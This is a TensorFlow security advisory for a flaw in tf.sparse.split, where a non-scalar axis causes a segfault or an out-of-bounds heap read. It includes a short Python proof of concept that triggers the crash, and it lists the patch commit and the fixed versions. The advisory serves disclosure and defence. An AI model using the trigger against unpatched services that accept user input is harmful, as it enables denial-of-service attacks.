Impact

The implementation of [tf.sparse.split](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/sparse_split_op.cc#L26-L102) does not fully validate the input arguments. Hence, a malicious user can trigger a denial of service via a segfault or a heap OOB read:

```python

import tensorflow as tf

data = tf.random.uniform([1, 32, 32], dtype=tf.float32)

axis = [1, 2]

x = tf.sparse.from_dense(data)

result = tf.sparse.split(x,3, axis=axis)

`

The code assumes axis is a scalar. This is another instance of [TFSA-2021-190](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/security/advisory/tfsa-2021-190.md) (CVE-2021-41206).

Patches

We have patched the issue in GitHub commit [61bf91e768173b001d56923600b40d9a95a04ad5](https://github.com/tensorflow/tensorflow/commit/61bf91e768173b001d56923600b40d9a95a04ad5) (merging [#53695](https://github.com/tensorflow/tensorflow/pull/53695)).

The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.
